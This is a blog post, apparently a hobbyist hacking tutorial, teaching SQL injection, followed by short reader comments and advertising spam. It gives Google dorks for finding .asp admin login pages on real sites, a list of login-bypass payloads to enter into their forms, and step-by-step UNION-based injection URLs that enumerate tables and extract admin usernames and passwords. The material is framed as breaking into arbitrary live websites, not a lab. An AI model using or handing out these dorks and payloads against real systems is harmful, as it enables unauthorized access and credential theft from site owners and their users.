Sql Injection
But since I had some decent knowledge in the the field of Hacking So lets start with some of the very basic Website
Hacking Tricks. ;)
Let see one of the very popular topic Sql Injection.
So,what is an sql injection?
A injecting sql queries into another database or using queries to get auth bypass as an admin is called
sql injection.
i will show it in 2 parts
part 1 : Basic sql injection
Gaining auth bypass on an admin account.
Most sites vulnerable to this are .asp
First we need 2 find a site, start by opening google.
Now we type our dork: "defenition of dork" 'a search entry for a certain type of site/exploit .ect"
There is a large number of google dork for basic sql injection.
here is the best:
"inurl:admin.asp"
"inurl:login/admin.asp"
"inurl:admin/login.asp"
"inurl:adminlogin.asp"
"inurl:adminhome.asp"
"inurl:admin_login.asp"
"inurl:administratorlogin.asp"
"inurl:login/administrator.asp"
"inurl:administrator_login.asp"
Now what to do once we get to our site.
the site should look something like this :
welcome to xxxxxxxxxx administrator panel
username :
password :
so what we do here is in the username we always type "sql injection"
and for our password also we type our sql injection
here is a list of sql injections
1'or'1'='1
'x or 'x'='x
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
'or'1=1'
there are many more but these are the best ones that i know of
and what this sql injection is doing : confusing the fuck out of the database till it gives you auth bypass.
So your input should look like this
username:1'or'1'='1
password:1'or'1'='1
So click submit and you'r in
NOTE not all sites are vulnerable.
part 2: injecting sql queries to extract the admin username and password
also called manual sql injection
ok so lets say we have a site :
http://www.site.com/departmentindex.php?id=-48'
Functions used:
database() || for finding the database name
version() || for finding the version of the db
user() || for finding the root user of the db
group_concat() || for make the collection of the different things
Step:1 find the parameter value || somthing=somthing
EX:
http://www.site.com/departmentindex.php?id=-48' select * from products where id=48;
http://www.site.com/departmentindex.php?id=-48' is just an example
Step:2 apply single quote '
EX:
http://www.site.com/departmentindex.php?id=-48'
Step:3 find number of columns
id=15 order by 1-- || for union base sqli
id=15'order by 1-- - || for string base sqli
http://www.site.com/departmentindex.php?id=-48'order by 16-- -
Step:4 now find vul column
http://www.site.com/departmentindex.php?id=-48'union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-- -
Step:5 Now find the tables
http://www.site.com/departmentindex.php?id=-48'union select 1,2,3,4,5,6,group_concat(table_name),8,9,10,11,12,13,14,15 from information_schema.table_constraints-- -
Step:6 Now finding the columns
http://www.site.com/departmentindex.php?id=-48'union select 1,2,3,4,5,6,group_concat(column_name),8,9,10,11,12,13,14,15 from information_schema.columns where table_name='useraccounts'-- -
Step:7fetching Data
http://www.site.com/departmentindex.php?id=-48'union select 1,2,3,4,5,6,group_concat(uname,upassword),8,9,10,11,12,13,14,15 from table_name='useraccounts'-- -
and you will get an admin account login password.
you can also do this by automated tool may be i can show it to you in my future post
happy hacking ;p
NOTE: you can even offer me work for training you ethical hacking on shubhamchoudharyhacker.com

v good brooo
ReplyDeleteNice post sir g... It will help further
ReplyDeletefile access control
ReplyDeleteAdd file access control and file IOs monitor to your windows application with Windows file system mini filter driver component in C#, C++ demo source code to implement your file security solution
http://easefilter.com/
Nice article...thank you for sharing the article....
ReplyDeleteWe are providing the best master data services around the world....visit our site for more information....
data cleansing tools
Master Data Governance
Data Cleansing Services
data classification tools
Master Data Management Solutions
data transformation service
Material Master Data Management
Master Data Dictionary